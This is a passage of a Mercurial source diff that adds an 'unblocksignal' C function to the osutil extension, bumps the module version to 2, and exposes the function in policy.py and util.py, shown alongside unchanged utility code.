 	if (pbuf->f_type == SMACK_MAGIC)
 		return "smack";
 #endif
 #ifdef SMB_SUPER_MAGIC
 	if (pbuf->f_type == SMB_SUPER_MAGIC)
 		return "smb";
 #endif
 #ifdef SOCKFS_MAGIC
 	if (pbuf->f_type == SOCKFS_MAGIC)
 		return "sockfs";
 #endif
 #ifdef SQUASHFS_MAGIC
 	if (pbuf->f_type == SQUASHFS_MAGIC)
 		return "squashfs";
 #endif
 #ifdef SYSFS_MAGIC
 	if (pbuf->f_type == SYSFS_MAGIC)
 		return "sysfs";
 #endif
 #ifdef SYSV2_SUPER_MAGIC
 	if (pbuf->f_type == SYSV2_SUPER_MAGIC)
 		return "sysv2";
 #endif
 #ifdef SYSV4_SUPER_MAGIC
 	if (pbuf->f_type == SYSV4_SUPER_MAGIC)
 		return "sysv4";
 #endif
 #ifdef TMPFS_MAGIC
 	if (pbuf->f_type == TMPFS_MAGIC)
 		return "tmpfs";
 #endif
 #ifdef UDF_SUPER_MAGIC
 	if (pbuf->f_type == UDF_SUPER_MAGIC)
 		return "udf";
 #endif
 #ifdef UFS_MAGIC
 	if (pbuf->f_type == UFS_MAGIC)
 		return "ufs";
 #endif
 #ifdef USBDEVICE_SUPER_MAGIC
 	if (pbuf->f_type == USBDEVICE_SUPER_MAGIC)
 		return "usbdevice";
 #endif
 #ifdef V9FS_MAGIC
 	if (pbuf->f_type == V9FS_MAGIC)
 		return "v9fs";
 #endif
 #ifdef VXFS_SUPER_MAGIC
 	if (pbuf->f_type == VXFS_SUPER_MAGIC)
 		return "vxfs";
 #endif
 #ifdef XENFS_SUPER_MAGIC
 	if (pbuf->f_type == XENFS_SUPER_MAGIC)
 		return "xenfs";
 #endif
 #ifdef XENIX_SUPER_MAGIC
 	if (pbuf->f_type == XENIX_SUPER_MAGIC)
 		return "xenix";
 #endif
 #ifdef XFS_SUPER_MAGIC
 	if (pbuf->f_type == XFS_SUPER_MAGIC)
 		return "xfs";
 #endif
 	/* End of Linux filesystems */
 	return NULL;
 }
 #endif /* def HAVE_LINUX_STATFS */
 
 #if defined(HAVE_BSD_STATFS) || defined(HAVE_LINUX_STATFS)
 /* given a directory path, return filesystem type name (best-effort) */
 static PyObject *getfstype(PyObject *self, PyObject *args)
 {
 	const char *path = NULL;
 	struct statfs buf;
 	int r;
 	if (!PyArg_ParseTuple(args, "s", &path))
 		return NULL;
 
 	memset(&buf, 0, sizeof(buf));
 	r = statfs(path, &buf);
 	if (r != 0)
 		return PyErr_SetFromErrno(PyExc_OSError);
 	return Py_BuildValue("s", describefstype(&buf));
 }
 #endif /* defined(HAVE_LINUX_STATFS) || defined(HAVE_BSD_STATFS) */
 
+static PyObject *unblocksignal(PyObject *self, PyObject *args)
+{
+	int sig = 0;
+	int r;
+	if (!PyArg_ParseTuple(args, "i", &sig))
+		return NULL;
+	sigset_t set;
+	r = sigemptyset(&set);
+	if (r != 0)
+		return PyErr_SetFromErrno(PyExc_OSError);
+	r = sigaddset(&set, sig);
+	if (r != 0)
+		return PyErr_SetFromErrno(PyExc_OSError);
+	r = sigprocmask(SIG_UNBLOCK, &set, NULL);
+	if (r != 0)
+		return PyErr_SetFromErrno(PyExc_OSError);
+	Py_RETURN_NONE;
+}
+
 #endif /* ndef _WIN32 */
 
 static PyObject *listdir(PyObject *self, PyObject *args, PyObject *kwargs)
 {
 	PyObject *statobj = NULL; /* initialize - optional arg */
 	PyObject *skipobj = NULL; /* initialize - optional arg */
 	char *path, *skip = NULL;
 	int wantstat, plen;
 
 	static char *kwlist[] = {"path", "stat", "skip", NULL};
 
 	if (!PyArg_ParseTupleAndKeywords(args, kwargs, "s#|OO:listdir",
 			kwlist, &path, &plen, &statobj, &skipobj))
 		return NULL;
 
 	wantstat = statobj && PyObject_IsTrue(statobj);
 
 	if (skipobj && skipobj != Py_None) {
 		skip = PyBytes_AsString(skipobj);
 		if (!skip)
 			return NULL;
 	}
 
 	return _listdir(path, plen, wantstat, skip);
 }
 
 #ifdef _WIN32
 static PyObject *posixfile(PyObject *self, PyObject *args, PyObject *kwds)
 {
 	static char *kwlist[] = {"name", "mode", "buffering", NULL};
 	PyObject *file_obj = NULL;
 	char *name = NULL;
 	char *mode = "rb";
 	DWORD access = 0;
 	DWORD creation;
 	HANDLE handle;
 	int fd, flags = 0;
 	int bufsize = -1;
 	char m0, m1, m2;
 	char fpmode[4];
 	int fppos = 0;
 	int plus;
 	FILE *fp;
 
 	if (!PyArg_ParseTupleAndKeywords(args, kwds, "et|si:posixfile", kwlist,
 					 Py_FileSystemDefaultEncoding,
 					 &name, &mode, &bufsize))
 		return NULL;
 
 	m0 = mode[0];
 	m1 = m0 ? mode[1] : '\0';
 	m2 = m1 ? mode[2] : '\0';
 	plus = m1 == '+' || m2 == '+';
 
 	fpmode[fppos++] = m0;
 	if (m1 == 'b' || m2 == 'b') {
 		flags = _O_BINARY;
 		fpmode[fppos++] = 'b';
 	}
 	else
 		flags = _O_TEXT;
 	if (m0 == 'r' && !plus) {
 		flags |= _O_RDONLY;
 		access = GENERIC_READ;
 	} else {
 		/*
 		work around http://support.microsoft.com/kb/899149 and
 		set _O_RDWR for 'w' and 'a', even if mode has no '+'
 		*/
 		flags |= _O_RDWR;
 		access = GENERIC_READ | GENERIC_WRITE;
 		fpmode[fppos++] = '+';
 	}
 	fpmode[fppos++] = '\0';
 
 	switch (m0) {
 	case 'r':
 		creation = OPEN_EXISTING;
 		break;
 	case 'w':
 		creation = CREATE_ALWAYS;
 		break;
 	case 'a':
 		creation = OPEN_ALWAYS;
 		flags |= _O_APPEND;
 		break;
 	default:
 		PyErr_Format(PyExc_ValueError,
 			     "mode string must begin with one of 'r', 'w', "
 			     "or 'a', not '%c'", m0);
 		goto bail;
 	}
 
 	handle = CreateFile(name, access,
 			    FILE_SHARE_READ | FILE_SHARE_WRITE |
 			    FILE_SHARE_DELETE,
 			    NULL,
 			    creation,
 			    FILE_ATTRIBUTE_NORMAL,
 			    0);
 
 	if (handle == INVALID_HANDLE_VALUE) {
 		PyErr_SetFromWindowsErrWithFilename(GetLastError(), name);
 		goto bail;
 	}
 
 	fd = _open_osfhandle((intptr_t)handle, flags);
 
 	if (fd == -1) {
 		CloseHandle(handle);
 		PyErr_SetFromErrnoWithFilename(PyExc_IOError, name);
 		goto bail;
 	}
 #ifndef IS_PY3K
 	fp = _fdopen(fd, fpmode);
 	if (fp == NULL) {
 		_close(fd);
 		PyErr_SetFromErrnoWithFilename(PyExc_IOError, name);
 		goto bail;
 	}
 
 	file_obj = PyFile_FromFile(fp, name, mode, fclose);
 	if (file_obj == NULL) {
 		fclose(fp);
 		goto bail;
 	}
 
 	PyFile_SetBufSize(file_obj, bufsize);
 #else
 	file_obj = PyFile_FromFd(fd, name, mode, bufsize, NULL, NULL, NULL, 1);
 	if (file_obj == NULL)
 		goto bail;
 #endif
 bail:
 	PyMem_Free(name);
 	return file_obj;
 }
 #endif
 
 #ifdef __APPLE__
 #include <ApplicationServices/ApplicationServices.h>
 
 static PyObject *isgui(PyObject *self)
 {
 	CFDictionaryRef dict = CGSessionCopyCurrentDictionary();
 
 	if (dict != NULL) {
 		CFRelease(dict);
 		Py_RETURN_TRUE;
 	} else {
 		Py_RETURN_FALSE;
 	}
 }
 #endif
 
 static char osutil_doc[] = "Native operating system services.";
 
 static PyMethodDef methods[] = {
 	{"listdir", (PyCFunction)listdir, METH_VARARGS | METH_KEYWORDS,
 	 "list a directory\n"},
 #ifdef _WIN32
 	{"posixfile", (PyCFunction)posixfile, METH_VARARGS | METH_KEYWORDS,
 	 "Open a file with POSIX-like semantics.\n"
 "On error, this function may raise either a WindowsError or an IOError."},
 #else
 	{"statfiles", (PyCFunction)statfiles, METH_VARARGS | METH_KEYWORDS,
 	 "stat a series of files or symlinks\n"
 "Returns None for non-existent entries and entries of other types.\n"},
 #ifdef CMSG_LEN
 	{"recvfds", (PyCFunction)recvfds, METH_VARARGS,
 	 "receive list of file descriptors via socket\n"},
 #endif
 #ifndef SETPROCNAME_USE_NONE
 	{"setprocname", (PyCFunction)setprocname, METH_VARARGS,
 	 "set process title (best-effort)\n"},
 #endif
 #if defined(HAVE_BSD_STATFS) || defined(HAVE_LINUX_STATFS)
 	{"getfstype", (PyCFunction)getfstype, METH_VARARGS,
 	 "get filesystem type (best-effort)\n"},
 #endif
+	{"unblocksignal", (PyCFunction)unblocksignal, METH_VARARGS,
+	 "change signal mask to unblock a given signal\n"},
 #endif /* ndef _WIN32 */
 #ifdef __APPLE__
 	{
 		"isgui", (PyCFunction)isgui, METH_NOARGS,
 		"Is a CoreGraphics session available?"
 	},
 #endif
 	{NULL, NULL}
 };
 
-static const int version = 1;
+static const int version = 2;
 
 #ifdef IS_PY3K
 static struct PyModuleDef osutil_module = {
 	PyModuleDef_HEAD_INIT,
 	"osutil",
 	osutil_doc,
 	-1,
 	methods
 };
 
 PyMODINIT_FUNC PyInit_osutil(void)
 {
 	PyObject *m;
 	if (PyType_Ready(&listdir_stat_type) < 0)
 		return NULL;
 
 	m = PyModule_Create(&osutil_module);
 	PyModule_AddIntConstant(m, "version", version);
 	return m;
 }
 #else
 PyMODINIT_FUNC initosutil(void)
 {
 	PyObject *m;
 	if (PyType_Ready(&listdir_stat_type) == -1)
 		return;
 
 	m = Py_InitModule3("osutil", methods, osutil_doc);
 	PyModule_AddIntConstant(m, "version", version);
 }
 #endif

mercurial/policy.py

@@ -1,116 +1,116 b''
 # policy.py - module policy logic for Mercurial.
 #
 # Copyright 2015 Gregory Szorc <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import os
 import sys
 
 # Rules for how modules can be loaded. Values are:
 #
 #    c - require C extensions
 #    allow - allow pure Python implementation when C loading fails
 #    cffi - required cffi versions (implemented within pure module)
 #    cffi-allow - allow pure Python implementation if cffi version is missing
 #    py - only load pure Python modules
 #
 # By default, fall back to the pure modules so the in-place build can
 # run without recompiling the C extensions. This will be overridden by
 # __modulepolicy__ generated by setup.py.
 policy = b'allow'
 _packageprefs = {
     # policy: (versioned package, pure package)
     b'c': (r'cext', None),
     b'allow': (r'cext', r'pure'),
     b'cffi': (r'cffi', None),
     b'cffi-allow': (r'cffi', r'pure'),
     b'py': (None, r'pure'),
 }
 
 try:
     from . import __modulepolicy__
     policy = __modulepolicy__.modulepolicy
 except ImportError:
     pass
 
 # PyPy doesn't load C extensions.
 #
 # The canonical way to do this is to test platform.python_implementation().
 # But we don't import platform and don't bloat for it here.
 if r'__pypy__' in sys.builtin_module_names:
     policy = b'cffi'
 
 # Our C extensions aren't yet compatible with Python 3. So use pure Python
 # on Python 3 for now.
 if sys.version_info[0] >= 3:
     policy = b'py'
 
 # Environment variable can always force settings.
 if sys.version_info[0] >= 3:
     if r'HGMODULEPOLICY' in os.environ:
         policy = os.environ[r'HGMODULEPOLICY'].encode(r'utf-8')
 else:
     policy = os.environ.get(r'HGMODULEPOLICY', policy)
 
 def _importfrom(pkgname, modname):
     # from .<pkgname> import <modname> (where . is looked through this module)
     fakelocals = {}
     pkg = __import__(pkgname, globals(), fakelocals, [modname], level=1)
     try:
         fakelocals[modname] = mod = getattr(pkg, modname)
     except AttributeError:
         raise ImportError(r'cannot import name %s' % modname)
     # force import; fakelocals[modname] may be replaced with the real module
     getattr(mod, r'__doc__', None)
     return fakelocals[modname]
 
 # keep in sync with "version" in C modules
 _cextversions = {
     (r'cext', r'base85'): 1,
     (r'cext', r'bdiff'): 1,
     (r'cext', r'diffhelpers'): 1,
     (r'cext', r'mpatch'): 1,
-    (r'cext', r'osutil'): 1,
+    (r'cext', r'osutil'): 2,
     (r'cext', r'parsers'): 4,
 }
 
 # map import request to other package or module
 _modredirects = {
     (r'cext', r'charencode'): (r'cext', r'parsers'),
     (r'cffi', r'base85'): (r'pure', r'base85'),
     (r'cffi', r'charencode'): (r'pure', r'charencode'),
     (r'cffi', r'diffhelpers'): (r'pure', r'diffhelpers'),
     (r'cffi', r'parsers'): (r'pure', r'parsers'),
 }
 
 def _checkmod(pkgname, modname, mod):
     expected = _cextversions.get((pkgname, modname))
     actual = getattr(mod, r'version', None)
     if actual != expected:
         raise ImportError(r'cannot import module %s.%s '
                           r'(expected version: %d, actual: %r)'
                           % (pkgname, modname, expected, actual))
 
 def importmod(modname):
     """Import module according to policy and check API version"""
     try:
         verpkg, purepkg = _packageprefs[policy]
     except KeyError:
         raise ImportError(r'invalid HGMODULEPOLICY %r' % policy)
     assert verpkg or purepkg
     if verpkg:
         pn, mn = _modredirects.get((verpkg, modname), (verpkg, modname))
         try:
             mod = _importfrom(pn, mn)
             if pn == verpkg:
                 _checkmod(pn, mn, mod)
             return mod
         except ImportError:
             if not purepkg:
                 raise
     pn, mn = _modredirects.get((purepkg, modname), (purepkg, modname))
     return _importfrom(pn, mn)

mercurial/util.py

@@ -1,3866 +1,3870 b''
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import, print_function
 
 import abc
 import bz2
 import calendar
 import codecs
 import collections
 import contextlib
 import datetime
 import errno
 import gc
 import hashlib
 import imp
 import itertools
 import mmap
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import signal
 import socket
 import stat
 import string
 import subprocess
 import sys
 import tempfile
 import textwrap
 import time
 import traceback
 import warnings
 import zlib
 
 from . import (
     encoding,
     error,
     i18n,
     policy,
     pycompat,
     urllibcompat,
 )
 
 base85 = policy.importmod(r'base85')
 osutil = policy.importmod(r'osutil')
 parsers = policy.importmod(r'parsers')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 empty = pycompat.empty
 httplib = pycompat.httplib
 pickle = pycompat.pickle
 queue = pycompat.queue
 socketserver = pycompat.socketserver
 stderr = pycompat.stderr
 stdin = pycompat.stdin
 stdout = pycompat.stdout
 stringio = pycompat.stringio
 xmlrpclib = pycompat.xmlrpclib
 
 httpserver = urllibcompat.httpserver
 urlerr = urllibcompat.urlerr
 urlreq = urllibcompat.urlreq
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 def isatty(fp):
     try:
         return fp.isatty()
     except AttributeError:
         return False
 
 # glibc determines buffering on first write to stdout - if we replace a TTY
 # destined stdout with a pipe destined stdout (e.g. pager), we want line
 # buffering
 if isatty(stdout):
     stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
 
 if pycompat.iswindows:
     from . import windows as platform
     stdout = platform.winstdout(stdout)
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 executablepath = platform.executablepath
 expandglobs = platform.expandglobs
 explainexit = platform.explainexit
 findexe = platform.findexe
 gethgcmd = platform.gethgcmd
 getuser = platform.getuser
 getpid = os.getpid
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 hidewindow = platform.hidewindow
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 popen = platform.popen
 posixfile = platform.posixfile
 quotecommand = platform.quotecommand
 readpipe = platform.readpipe
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setbinary = platform.setbinary
 setflags = platform.setflags
 setsignalhandler = platform.setsignalhandler
 shellquote = platform.shellquote
 spawndetached = platform.spawndetached
 split = platform.split
 sshargs = platform.sshargs
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 testpid = platform.testpid
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 try:
     setprocname = osutil.setprocname
 except AttributeError:
     pass
+try:
+    unblocksignal = osutil.unblocksignal
+except AttributeError:
+    pass
 
 # Python compatibility
 
 _notset = object()
 
 # disable Python's problematic floating point timestamps (issue4836)
 # (Python hypocritically says you shouldn't change this behavior in
 # libraries, and sure enough Mercurial is not a library.)
 os.stat_float_times(False)
 
 def safehasattr(thing, attr):
     return getattr(thing, attr, _notset) is not _notset
 
 def bytesinput(fin, fout, *args, **kwargs):
     sin, sout = sys.stdin, sys.stdout
     try:
         sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
         return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
     finally:
         sys.stdin, sys.stdout = sin, sout
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += ("\n(compatibility will be dropped after Mercurial-%s,"
                 " update your code.)") % version
         warnings.warn(msg, DeprecationWarning, stacklevel + 1)
 
 DIGESTS = {
     'md5': hashlib.md5,
     'sha1': hashlib.sha1,
     'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester([b'md5', b'sha1'])
     >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise Abort(_('unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise Abort(_('unknown digest type: %s') % k)
         return self._hashes[key].hexdigest()
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise Abort(_('size mismatch: expected %d, got %d') %
                 (self._size, self._got))
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise Abort(_('%s mismatch: expected %s, got %s') %
                     (k, v, self._digester[k]))
 
 try:
     buffer = buffer
 except NameError:
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset:offset + length]
         return memoryview(sliceable)[offset:]
 
 closefds = pycompat.isposix
 
 _chunksize = 4096
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def readline(self, *args, **kwargs):
         if 1 < len(self._buffer):
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find('\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find('\n')
         size = lfi + 1
         if lfi < 0: # end of file
             size = self._lenbuf
         elif 1 < len(self._buffer):
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return ''
         buf = self._buffer[0]
         if 1 < len(self._buffer):
             buf = ''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data):]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), _chunksize)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
 def mmapread(fp):
     try:
         fd = getattr(fp, 'fileno', lambda: fp)()
         return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
     except ValueError:
         # Empty files cannot be mmapped, but mmapread should still work.  Check
         # if the file is empty, and if so, return an empty buffer.
         if os.fstat(fd).st_size == 0:
             return ''
         raise
 
 def popen2(cmd, env=None, newlines=False):
     # Setting bufsize to -1 lets the system decide the buffer size.
     # The default for bufsize is 0, meaning unbuffered. This leads to
     # poor performance on Mac OS X: http://bugs.python.org/issue4194
     p = subprocess.Popen(cmd, shell=True, bufsize=-1,
                          close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                          universal_newlines=newlines,
                          env=env)
     return p.stdin, p.stdout
 
 def popen3(cmd, env=None, newlines=False):
     stdin, stdout, stderr, p = popen4(cmd, env, newlines)
     return stdin, stdout, stderr
 
 def popen4(cmd, env=None, newlines=False, bufsize=-1):
     p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
                          close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                          stderr=subprocess.PIPE,
                          universal_newlines=newlines,
                          env=env)
     return p.stdin, p.stdout, p.stderr, p
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
         return __version__.version
     except ImportError:
         return 'unknown'
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
     """
     if not v:
         v = version()
     parts = remod.split('[\+-]', v, 1)
     if len(parts) == 1:
         vparts, extra = parts[0], None
     else:
         vparts, extra = parts
 
     vints = []
     for i in vparts.split('.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 # used by parsedate
 defaultdateformats = (
     '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
     '%Y-%m-%dT%H:%M',    #   without seconds
     '%Y-%m-%dT%H%M%S',   # another awful but legal variant without :
     '%Y-%m-%dT%H%M',     #   without seconds
     '%Y-%m-%d %H:%M:%S', # our common legal variant
     '%Y-%m-%d %H:%M',    #   without seconds
     '%Y-%m-%d %H%M%S',   # without :
     '%Y-%m-%d %H%M',     #   without seconds
     '%Y-%m-%d %I:%M:%S%p',
     '%Y-%m-%d %H:%M',
     '%Y-%m-%d %I:%M%p',
     '%Y-%m-%d',
     '%m-%d',
     '%m/%d',
     '%m/%d/%y',
     '%m/%d/%Y',
     '%a %b %d %H:%M:%S %Y',
     '%a %b %d %I:%M:%S%p %Y',
     '%a, %d %b %Y %H:%M:%S',        #  GNU coreutils "/bin/date --rfc-2822"
     '%b %d %H:%M:%S %Y',
     '%b %d %I:%M:%S%p %Y',
     '%b %d %H:%M:%S',
     '%b %d %I:%M:%S%p',
     '%b %d %H:%M',
     '%b %d %I:%M%p',
     '%b %d %Y',
     '%b %d',
     '%H:%M:%S',
     '%I:%M:%S%p',
     '%H:%M',
     '%I:%M%p',
 )
 
 extendeddateformats = defaultdateformats + (
     "%Y",
     "%Y-%m",
     "%b",
     "%b %Y",
     )
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         cache = []
         def f():
             if len(cache) == 0:
                 cache.append(func())
             return cache[0]
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 class cow(object):
     """helper class to make copy-on-write easier
 
     Call preparewrite before doing any writes.
     """
 
     def preparewrite(self):
         """call this before writes, return self or a copied new object"""
         if getattr(self, '_copied', 0):
             self._copied -= 1
             return self.__class__(self)
         return self
 
     def copy(self):
         """always do a cheap copy"""
         self._copied = getattr(self, '_copied', 0) + 1
         return self
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([(b'a', 2)])
     >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = src.iteritems()
             for k, v in src:
                 self[k] = v
 
 class cowdict(cow, dict):
     """copy-on-write dict
 
     Be sure to call d = d.preparewrite() before writing to d.
 
     >>> a = cowdict()
     >>> a is a.preparewrite()
     True
     >>> b = a.copy()
     >>> b is a
     True
     >>> c = b.copy()
     >>> c is a
     True
     >>> a = a.preparewrite()
     >>> b is a
     False
     >>> a is a.preparewrite()
     True
     >>> c = c.preparewrite()
     >>> b is c
     False
     >>> b is b.preparewrite()
     True
     """
 
 class cowsortdict(cow, sortdict):
     """copy-on-write sortdict
 
     Be sure to call d = d.preparewrite() before writing to d.
     """
 
 class transactional(object):
     """Base class for making a transactional type into a context manager."""
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def close(self):
         """Successfully closes the transaction."""
 
     @abc.abstractmethod
     def release(self):
         """Marks the end of the transaction.
 
         If the transaction has not been closed, it will be aborted.
         """
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         try:
             if exc_type is None:
                 self.close()
         finally:
             self.release()
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
